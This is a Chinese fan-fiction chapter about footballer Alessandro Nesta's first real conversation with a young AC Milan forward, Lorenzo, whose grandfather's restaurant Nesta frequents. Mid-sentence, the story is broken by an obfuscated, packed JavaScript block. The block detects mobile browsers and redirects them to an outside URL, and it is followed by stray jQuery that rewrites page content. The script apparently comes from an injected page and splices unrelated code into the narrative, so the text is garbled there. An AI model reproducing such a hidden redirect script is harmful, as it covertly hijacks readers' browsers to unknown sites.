洛伦佐从安切洛蒂的办公室出来，没急着往餐厅冲。
晋升一线队的兴奋像气泡水在血管里轻轻炸开，他顺着走廊慢悠悠地晃，脚尖偶尔踢一下空气，小声哼着不成调的曲子，脑子里已经上演了十几种安切洛蒂可能“扯”他的方式——希望别是让里诺一对一盯防，那跟被坦克碾过没什么区别。
刚拐过一个弯，他就停住了。
餐厅那头的光漫出来，在走廊地上铺出一块亮堂堂的地方。就在那片光亮边缘，一个人背靠着墙，双手插在训练服兜里，一条腿曲着，鞋底抵着墙面，正偏头看着窗外。
是亚历山德罗·内斯塔。
洛伦佐有点意外，内斯塔吃饭总是到得早，这家伙转会过来头一两个月，心情差得脸上都挂相，谁都能看出来他难受，吃得也比传闻中的少，可他还是雷打不动的头几个进餐厅的人之一。
两个人的关系不远也不近。合练的时候，洛伦佐踢前锋，自然得跟这位新来的、但已经是世界顶级的中卫过招。场上是真刀真枪地拼，场下也就是碰见了点点头，说声“Ciao”的交情。
洛伦佐没打算深究人家今天怎么还戳在这儿。他扬起手，准备照例打个招呼就过去。“Ciao, Sandro.（你好，桑德罗）”
内斯塔听见声音，转过头。
光从侧面打过来，让他那张本就立体的脸显得轮廓更深了。颧骨突出，眼窝下有淡淡的阴影，瘦了不少，那股古典雕塑般的俊美里，掺进了一种锋利的、甚至称得上“艳丽”的疲惫。
好像一株被精心移植却还没扎稳根的树，枝叶还在，精气神却漏了些。
他看见洛伦佐，好像也顿了一下，然后，居然迈步走了过来。
“Ciao, Lorenzo.” 内斯塔的声音有点低，等走近了，洛伦佐才发现对方脸上挂着点不太自然的神情，像是有点不好意思，又强作镇定。
内斯塔清了清嗓子，眼睛没完全看洛伦佐，而是稍微偏开一点，看着旁边的墙壁，语速比平时快了些：“那个……我问一下。科莫大街中段，转角那家叫‘La Dolce Vita’的小餐馆……是你爷爷开的吗？”
洛伦佐更意外了，惊讶明明白白写在脸上：“是啊。你怎么知道？”
内斯塔像是松了口气，又像是更局促了。他下意识地用舌头舔了下有点干的嘴唇：“我去吃过。味道很好。”他的声音低下去一点，“在罗马的时候就听人说过。”
这话是真的。还在拉齐奥的时候，内斯塔就是“拉齐奥的孩子”，从青训营一路长起来，为一线队戴上队长袖标，给蓝鹰带回奖杯。
那时候他是整个罗马城那半边天空的宠儿。队里的老大哥、本地的老球迷，个个都把他当自家孩子看。
有个吃了一辈子、嘴巴刁钻的老球迷，有次神神秘秘地跟他说：“桑德罗，米兰城里有家小餐馆，不起眼，但吃了能让你咬掉舌头。”说的就是“La Dolce Vita”。
他后来逮着机会，专门跑去米兰尝了一次。就一次，胃和心都被俘虏了。那味道扎实，温暖，不讲什么花哨的排场，就是实打实的好吃，特别对他的胃口。
可惜太远，只能偶尔在假期或客场比赛前后，绕路过去解解馋。
他记得那家餐馆干干净净的，墙上除了几幅风景画，还挂着一个不大的AC米兰队徽镜框，和一副泛黄的、贝卢斯科尼早期和球队的合影。他当时想，哦，老板是米兰球迷。难怪。
因为他每次去都点得多，前菜、头盘、主菜、配菜、甜品，能塞进肚子的他基本都想试试，而且盘盘干净。
加上他那张在意大利足球圈里无人不识的脸，福尔图内老爷子自然记住了这个高大、英俊、吃饭异常认真的年轻后卫。
后来有一次，下午四五点钟，餐馆里快打烊了，就剩一两个客人在慢悠悠喝咖啡。
内斯塔吃完自己那一大桌，磨蹭了一会儿，等人都走了，才走到柜台边。面对笑容和蔼的老先生，他难得地有些扭捏，问能不能点一份罗马式洋蓟和一份烤牛排，打包带走。
这时候米兰的外卖可不像后世那么稀松平常。快餐、披萨打包常见，但正经餐馆的菜品，尤其是这样需要趁热吃、讲究火候的菜，默认是在店里享用。提出这要求，内斯塔自己都觉得有点过分。
福尔图内却只是擦了擦手，笑呵呵的，一点没觉得麻烦：“当然可以，小伙子。不过你现在急着要走吗？要是不急，等我把这儿收拾一下，给你现做。打包的菜，味道总要打点折扣，现做现吃最好，哪怕等会儿带走呢。”
内斯塔本来就不急，赶紧摇头：“不急不急，您慢慢来，我等着就行。”
于是，那天下午，空旷安静的小餐馆里，就剩下他们一老一少。福尔图内在开放式厨房里忙活，内斯塔就坐在离厨房最近的椅子上看着。
老爷子手上利索，嘴里也没闲着，跟他闲聊。聊天气，聊足球，自然而然就聊到了家里。
“我有个孙子，也在踢球。”福尔图内一边给洋蓟剥着老叶，一边说，语气里是藏不住的笑意和疼爱，“在米兰的青年队里。小家伙，皮得很。”
他没说名字，一直说的“Lollo”。所以内斯塔听着那些趣事：比如Lollo小时候非要给家里的盆栽理发，结果剪秃了半边。
比如第一次做煎蛋把蛋壳全掉进了锅里还试图捞出来。再大一点，在社区比赛里进了球兴奋得满场跑，结果被自己鞋带绊了个大马趴。
内斯塔只觉得是个挺活泼、偶尔犯傻但心地不坏的普通男孩。他想，老爷子嘛，看自家孙子当然哪哪都好，不过听起来，这Lollo至少不是那种惹是生非的坏小子。
自那以后，内斯塔再去小餐馆，除了埋头苦吃，偶尔也会和福尔图内聊上几句。
只是阴差阳错，他每次去，都完美错过了同样可能去店里吃饭或看爷爷的洛伦佐。
直到他被迫换上了红黑间条衫。
转会初期的巨大失落和难以排解的郁结占据了他绝大部分心神，他哪还有心思去注意一个预备队的小孩。
是后来，大概今年年初，他在训练场边，偶然听到马尔蒂尼喊了一声“Lollo”，然后那个金头发的预备队小子就应声跑过去。
他心里动了一下，又找机会问了别人，才知道那孩子的全名是洛伦佐·多尔切·马里诺。
两个名字对上了号。
可知道了又怎样呢？
他，亚历山德罗·内斯塔，九岁踏入拉齐奥青训营，把所有的热血、忠诚、青春岁月都毫无保留地献给了蓝鹰，如今却站在了另一家俱乐部的屋檐下。
这感觉像什么呢？像心里被人生生挖走了一块最软最热的东西，剩下的地方空落落、凉飕飕的，灌满了米兰阴冷的冬风。
他自觉是个职业球员，训练比赛从不含糊，该拼抢拼抢，该配合配合，可明眼人都看得出来，他的心还没完全迁徙过来，还在某个地方飘着。他自己也知道。
洛伦佐是彻头彻尾的米兰产物，从根须到枝叶都浸润着红黑色，根正苗红的米兰青训。
面对这样一个几乎象征着“米兰”本身的年轻队友，内斯塔心里那点没说出口的抵触和别扭，让他不知该怎么开口。
难道走过去说“嘿，我知道你八岁试图用球砸树上的果子，结果球反弹，给自己脑门砸了个大包吗？
所以这事儿就一直搁着。
他还是会偶尔去“La Dolce Vita”，坐在老位置，听福尔图内用骄傲又调侃的语气，说着“Lollo最近好像又长高了”、“Lollo说预备队教练夸他头球有进步”之类的零星消息。
他听着，感觉那个由老人言语描绘出的、活泼又有点莽撞的少年形象，与训练场上那个球风灵动飘逸、笑起来眼睛弯弯的身影，正一点点缓慢地重叠。
时间慢慢熬人，也慢慢治人。
冬日的阴霾渐渐被春日不甚稳定的阳光驱散，穿着红黑色训练服从最初的不适变成了日常习惯，更衣室里加图索的大嗓门和马尔蒂尼低沉的话语也听习惯了。
心底对拉齐奥的挚爱与离痛丝毫未减，那是刻进骨血里的东西。但身为一个顶级球员的骄傲与理性，也在催促他：你得站稳，你得往前走，你得融入你现在站立的地方。
无论从球队整体的角度，还是从他个人那点不肯轻易妥协的自尊心出发，他都得尝试推开那扇一直虚掩着的门。
而洛伦佐，似乎就是站在门外最合适的那个人。他们之间有那么一点奇特的、通过一位老人建立起来的私人连接，却又还没有任何直接的、可能产生压力的队友交情。
于是今天，他特意提前去了餐厅，想“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265250|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偶遇”。结果左等右等，没见人影。他只好匆匆吃了点，胃口比起在罗马时，确实还差着一截，然后拦住看起来跟那小子关系还不错的因扎吉：“看见洛伦佐了吗？”
因扎吉有点惊讶地看他一眼，大概是奇怪到了米兰后一直蔫到现在的内斯塔怎么突然要找小孩：“他啊，被卡尔洛叫去办公室了，还没过来呢。怎么，桑德罗，今天胃口回来了？”
内斯塔含糊地应了一声，转身就往外走。他想着去办公楼附近碰碰运气，没想到，刚走到这条连接两栋楼的走廊，那个他要找的人就自己撞进了视线。
这简直就像是命运——以前总是错过的人，如今转眼就遇见了。
此刻，面对洛伦佐那双带着惊讶和好奇的眼睛，内斯塔把心里那些弯弯绕绕都压了下去。回忆带来的熟悉感，让他放松了不少。
“马里诺先生提过你，只不过他总叫你‘Lollo’。”内斯塔说，尽量让语气别跟回忆里的老人家一样慈祥，“他说你是个好孩子。在青训营踢球。”
“所以——”洛伦佐拖长了声音，忽然明白了什么，“你早就知道‘Lollo’，但直到最近，才知道‘Lollo’就是我？”
内斯塔点了点头，神情有些复杂。“我不知道该怎么……开口。感觉像是，我单方面知道了很多你的事，甚至知道你小时候因为好奇舔了冰块，结果舌头被粘住，哭得惊天动地……”
“拜托！这个可以不用记得那么清楚！”洛伦佐捂住脸，从指缝里哀嚎。
内斯塔笑了下，那笑声很短，却让周围的空气都松快了些。“抱歉。”他说，语气里并没有多少歉意，反而有种分享秘密的熟稔，“总之，感觉很奇怪。那时候，你应该还不知道我。”
男孩脸上的害羞迅速转化为了得意：“啊哈！我可太知道了！nonno跟我说起过，有个‘特别能吃的、长得特别俊的罗马后卫’常去店里！”他模仿着福尔图内略带托斯卡纳口音的夸张语气，惟妙惟肖，眼睛笑得眯起来。
内斯塔被这个形容弄得耳根有点发热，尤其是“特别俊”那部分。他不自在地抬手蹭了下鼻尖，掩饰那一瞬间的局促。
洛伦佐却已经顺着话头热络地说了下去：“nonno做的菜是不是很棒？他总嫌俱乐部营养餐味道寡淡，我每次回家，他都变着法子给我做好吃的，好像我在外面受了多大苦似的。”他眨眨眼，“你最喜欢他做的什么？”
“都很好。”内斯塔说，这话发自真心，“尤其是罗马风味的菜，很地道。”
他看着洛伦佐毫无阴霾的笑脸，很奇怪，莫名的让人有种倾诉欲。“我……我刚来米兰的时候，心情不太好。去店里吃点熟悉的味道，算是……一点安慰。”
这话说得坦诚，甚至有点超过了内斯塔心里预设的尺度。但他觉得，面对这个被福尔图内那样疼爱着、描述着的Lollo，或许可以稍微放下一点防备。
洛伦佐收起了些笑容，转为一种认真的倾听表情，他点点头，表示理解。“离开自己从小长大的地方，肯定很难受。”他轻声说，然后语气又轻快起来，“不过现在你也是米兰的一员啦！nonno要是知道我俩认识了，肯定更高兴。下次你去，报我的名字，让他给你多加肉！”
内斯塔终于忍不住，真的笑了出来，虽然很浅。“我会的。”他说，又想到什么，“对了，不管是什么事，恭喜你，Lollo。”他指的是之前洛伦佐那副兴奋的样子。
“谢谢！”男孩脑子里不知道在想什么，表情神神秘秘的样子，“以后训练场上，可要对我脚下留情啊，桑德罗。”
“我尽量。”内斯塔说，眼里闪过促狭的光，“但如果你在训练里再过掉我太多次，我就不保证了。”
语调还是比过去要低些，但状态轻松不少的高大后卫好心提醒小前锋，“餐厅快没东西吃了，你再不去，只能啃面包了。”
“啊！差点忘了！”洛伦佐惊呼一声，小跑着冲向餐厅，还不忘回头朝他挥挥手，“回头见，桑德罗！下次一起去我nonno那儿吃饭！”
内斯塔站在原地看着他跑远的背影，像一簇小小的、不管不顾的火焰。走廊重新安静下来，他独自站了会儿，然后转身离开。
胃里刚才匆匆吃下的那点食物，此刻仿佛才散发出真正的暖意。好像，迈出第一步，也没有想象中那么难。